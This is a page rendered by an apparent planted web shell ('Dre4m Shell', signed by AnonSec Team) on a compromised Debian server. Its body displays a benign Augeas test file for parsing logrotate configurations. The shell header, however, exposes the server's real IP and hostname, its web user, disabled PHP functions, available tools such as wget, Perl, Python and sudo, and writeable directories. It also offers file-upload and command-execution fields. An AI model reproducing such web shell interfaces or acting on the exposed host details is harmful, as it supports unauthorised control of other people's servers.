Dre4m Shell
Server IP : 85.214.239.14  /  Your IP : 3.149.242.223
Web Server : Apache/2.4.62 (Debian)
System : Linux h2886529.stratoserver.net 4.9.0 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.18
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /proc/3/root/usr/share/augeas/lenses/dist/tests/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /proc/3/root/usr/share/augeas/lenses/dist/tests/test_logrotate.aug
module Test_logrotate =

test Logrotate.body get "\n{\n monthly\n}" =
  { "schedule" = "monthly" }

test Logrotate.rule get "/var/log/foo\n{\n monthly\n}\n" =
  { "rule"
    { "file" = "/var/log/foo" }
    { "schedule" = "monthly" } }

test Logrotate.rule get "/var/log/foo /var/log/bar\n{\n monthly\n}\n" =
  { "rule"
    { "file" = "/var/log/foo" }
    { "file" = "/var/log/bar" }
    { "schedule" = "monthly" } }

test Logrotate.rule get "\"/var/log/foo\"\n{\n monthly\n}\n" =
  { "rule"
    { "file" = "/var/log/foo" }
    { "schedule" = "monthly" } }

let conf = "# see man logrotate for details
# rotate log files weekly
weekly

# keep 4 weeks worth of backlogs
rotate 4

# create new (empty) log files after rotating old ones
create

# uncomment this if you want your log files compressed
#compress

tabooext + .old .orig .ignore

# packages drop log rotation information into this directory
include /etc/logrotate.d

# no packages own wtmp, or btmp -- we'll rotate them here
/var/log/wtmp
/var/log/wtmp2
{
    missingok
    monthly
    create 0664 root utmp
    rotate 1
}

/var/log/btmp /var/log/btmp* {
    missingok
    # ftpd doesn't handle SIGHUP properly
    monthly
    create 0664 root utmp
    rotate 1
}
/var/log/vsftpd.log {
    # ftpd doesn't handle SIGHUP properly
    nocompress
    missingok
    notifempty
    rotate 4
    weekly
}

/var/log/apache2/*.log {
        weekly
        missingok
        rotate 52
        compress
        delaycompress
        notifempty
        create 640 root adm
        sharedscripts
        prerotate
                if [ -f /var/run/apache2.pid ]; then
                        /etc/init.d/apache2 restart > /dev/null
                fi
        endscript
}
/var/log/mailman/digest {
    su root list
    monthly
    missingok
    create 0664 list list
    rotate 4
    compress
    delaycompress
        sharedscripts
        postrotate
            [ -f '/var/run/mailman/mailman.pid' ] && /usr/lib/mailman/bin/mailmanctl -q reopen || exit 0
        endscript
}
/var/log/ntp {
    compress
    dateext
    maxage 365
    rotate 99
    size=+2048k
    notifempty
    missingok
    copytruncate
    postrotate
        chmod 644 /var/log/ntp
    endscript
}
"

test Logrotate.lns get conf =
      { "#comment" = "see man logrotate for details" }
      { "#comment" = "rotate log files weekly" }
      { "schedule" = "weekly" }
      {}
      { "#comment" = "keep 4 weeks worth of backlogs" }
      { "rotate"   = "4" }
      {}
      { "#comment" = "create new (empty) log files after rotating old ones" }
      { "create" }
      {}
      { "#comment" = "uncomment this if you want your log files compressed" }
      { "#comment" = "compress" }
      {}
      { "tabooext" = "+"  { ".old" } { ".orig" } { ".ignore" } }
      {}
      { "#comment" = "packages drop log rotation information into this directory" }
      { "include" = "/etc/logrotate.d" }
      {}
      { "#comment" = "no packages own wtmp, or btmp -- we'll rotate them here" }
      { "rule"
           { "file"      = "/var/log/wtmp" }
           { "file"      = "/var/log/wtmp2" }
           { "missingok" = "missingok" }
           { "schedule"  = "monthly" }
           { "create"
                { "mode"  = "0664" }
                { "owner" = "root" }
                { "group" = "utmp" } }
           { "rotate" = "1" } }
      {}
      { "rule"
           { "file"      = "/var/log/btmp" }
	   { "file"      = "/var/log/btmp*" }
           { "missingok" = "missingok" }
	   { "#comment"   = "ftpd doesn't handle SIGHUP properly" }
           { "schedule"  = "monthly" }
           { "create"
                { "mode"  = "0664" }
                { "owner" = "root" }
                { "group" = "utmp" } }
           { "rotate" = "1" } }
      { "rule"
           { "file"      = "/var/log/vsftpd.log" }
           { "#comment"  = "ftpd doesn't handle SIGHUP properly" }
           { "compress"  = "nocompress" }
           { "missingok" = "missingok" }
           { "ifempty"   = "notifempty" }
           { "rotate"    = "4" }
           { "schedule"  = "weekly" } }
      {}
      { "rule"
           { "file"          = "/var/log/apache2/*.log" }
           { "schedule"      = "weekly" }
           { "missingok"     = "missingok" }
           { "rotate"        = "52" }
           { "compress"      = "compress" }
           { "delaycompress" = "delaycompress" }
           { "ifempty"       = "notifempty" }
           { "create"
                { "mode"  = "640"  }
                { "owner" = "root" }
                { "group" = "adm"  } }
           { "sharedscripts" = "sharedscripts" }
           { "prerotate" = "                if [ -f /var/run/apache2.pid ]; then
                        /etc/init.d/apache2 restart > /dev/null
                fi" } }
      { "rule"
           { "file" = "/var/log/mailman/digest" }
           { "su"
               { "owner" = "root" }
               { "group" = "list" } }
           { "schedule"  = "monthly" }
           { "missingok" = "missingok" }
           { "create"
               { "mode"  = "0664" }
               { "owner" = "list" }
               { "group" = "list" } }
           { "rotate"        = "4" }
           { "compress"      = "compress" }
           { "delaycompress" = "delaycompress" }
           { "sharedscripts" = "sharedscripts" }
           { "postrotate"    = "            [ -f '/var/run/mailman/mailman.pid' ] && /usr/lib/mailman/bin/mailmanctl -q reopen || exit 0" } }
      { "rule"
           { "file" = "/var/log/ntp" }
           { "compress" = "compress" }
           { "dateext" = "dateext" }
           { "maxage" = "365" }
           { "rotate" = "99" }
           { "size" = "+2048k" }
           { "ifempty" = "notifempty" }
           { "missingok" = "missingok" }
           { "copytruncate" = "copytruncate" }
           { "postrotate" = "        chmod 644 /var/log/ntp" } }

test Logrotate.lns get "/var/log/file {\n dateext\n}\n" =
    { "rule"
      { "file" = "/var/log/file" }
      { "dateext" = "dateext" } }

  (* Make sure 'minsize 1M' works *)
test Logrotate.lns get "/avr/log/wtmp {\n minsize 1M\n}\n" =
  { "rule"
      { "file" = "/avr/log/wtmp" }
      { "minsize" = "1M" } }

  (* '=' is a legal separator, file names can be indented *)
test Logrotate.lns get " \t /file {\n size=5M\n}\n" =
     { "rule"
         { "file" = "/file" }
         { "size" = "5M" } }

  (* Can leave owner/group off a create statement *)
test Logrotate.lns get "/file {
	create 600\n}\n" =
     { "rule"
         { "file" = "/file" }
         { "create"
             { "mode" = "600" } } }

test Logrotate.lns put "/file {\n	create 600\n}\n" after
    set "/rule/create/owner" "user"
  = "/file {\n	create 600 user\n}\n"

  (* The newline at the end of a script is optional *)
test Logrotate.lns put "/file {\n size=5M\n}\n" after
    set "/rule/prerotate" "\tfoobar"
  =
"/file {
 size=5M
\tprerotate
\tfoobar
\tendscript\n}\n"

test Logrotate.lns put "/file {\n size=5M\n}\n" after
    set "/rule/prerotate" "\tfoobar\n"
  =
"/file {
 size=5M
\tprerotate
\tfoobar\n
\tendscript\n}\n"

(* Bug #101: whitespace at the end of the line *)
test Logrotate.lns get "/file {\n missingok \t\n}\n" =
  { "rule"
    { "file" = "/file" }
    { "missingok" = "missingok" } }

(* Bug #104: file names can be separated by newlines *)
let conf2 = "/var/log/mail.info
/var/log/mail.warn
/var/log/mail.err
{
       weekly
}
"
test Logrotate.lns get conf2 =
  { "rule"
      { "file"      = "/var/log/mail.info" }
      { "file"      = "/var/log/mail.warn" }
      { "file"      = "/var/log/mail.err" }
      { "schedule"  = "weekly" } }

(* Issue #217: support for dateformat *)
let dateformat = "dateformat -%Y%m%d\n"

test Logrotate.lns get dateformat =
  { "dateformat" = "-%Y%m%d" }

(* Issue #123: no space before '{' *)
test Logrotate.lns get "/file{\n missingok \t\n}\n" =
  { "rule"
    { "file" = "/file" }
    { "missingok" = "missingok" } }

(* RHBZ#1213292: maxsize 30k *)
test Logrotate.lns get "/var/log/yum.log {\n maxsize 30k\n}\n" =
  { "rule"
      { "file" = "/var/log/yum.log" }
      { "maxsize" = "30k" } }


Anon7 - 2022
AnonSec Team